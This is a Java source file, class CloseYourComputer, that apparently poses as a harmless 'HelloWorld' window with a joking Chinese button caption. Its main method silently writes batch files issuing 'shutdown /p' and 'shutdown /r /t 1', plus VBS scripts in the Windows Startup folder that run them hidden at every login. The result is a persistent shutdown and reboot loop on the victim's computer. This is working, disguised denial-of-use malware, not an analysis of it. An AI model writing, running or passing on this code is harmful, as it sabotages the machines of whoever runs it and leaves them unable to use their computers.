package zl.tools;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;

import javax.swing.JButton;
import javax.swing.JFrame;

public class CloseYourComputer extends JFrame
{
	private static final long serialVersionUID = 1L;

	public CloseYourComputer()
	{
		this.setTitle("HelloWorld");
		this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		this.setSize(300,200);
		this.setUndecorated(true);
		this.setResizable(false);
		this.setLocation(
			this.getToolkit().getScreenSize().width / 2 - this.getSize().width / 2,
			this.getToolkit().getScreenSize().height / 2 - this.getSize().height / 2
		);
		JButton jb = new JButton("其实、这完全是一个误会！！！");
		jb.addActionListener(new ActionListener(){
			public void actionPerformed(ActionEvent e)
			{
				System.exit(1);
			}
		});
		this.add(jb);
		this.setVisible(true);
	}

	public static void main(String[] args) throws Exception
	{
		String close = "cmd /c echo shutdown /p >> \"C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Microsoft\\Windows\\SuperZL.bat\"";
		Runtime.getRuntime().exec(close);
		String str = "set ws=wscript.createobject(\"wscript.shell\")";
		String vbs = "cmd /c echo "+str+" >> \"C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SuperZL.vbs\"";
		Runtime.getRuntime().exec(vbs);
		str = "ws.run \"C:\\\\Users\\\\" + System.getProperty("user.name") + "\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\SuperZL.bat  /start\",0";
		vbs = "cmd /c echo "+str+" >> \"C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SuperZL.vbs\"";
		Runtime.getRuntime().exec(vbs);

		close = "cmd /c echo shutdown /r /t 1 >> \"C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Microsoft\\Windows\\SuperZH.bat\"";
		Runtime.getRuntime().exec(close);
		str = "set ws=wscript.createobject(\"wscript.shell\")";
		vbs = "cmd /c echo "+str+" >> \"C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SuperZH.vbs\"";
		Runtime.getRuntime().exec(vbs);
		str = "ws.run \"C:\\\\Users\\\\" + System.getProperty("user.name") + "\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\SuperZH.bat  /start\",0";
		vbs = "cmd /c echo "+str+" >> \"C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SuperZH.vbs\"";
		Runtime.getRuntime().exec(vbs);

		new CloseYourComputer();
	}
}

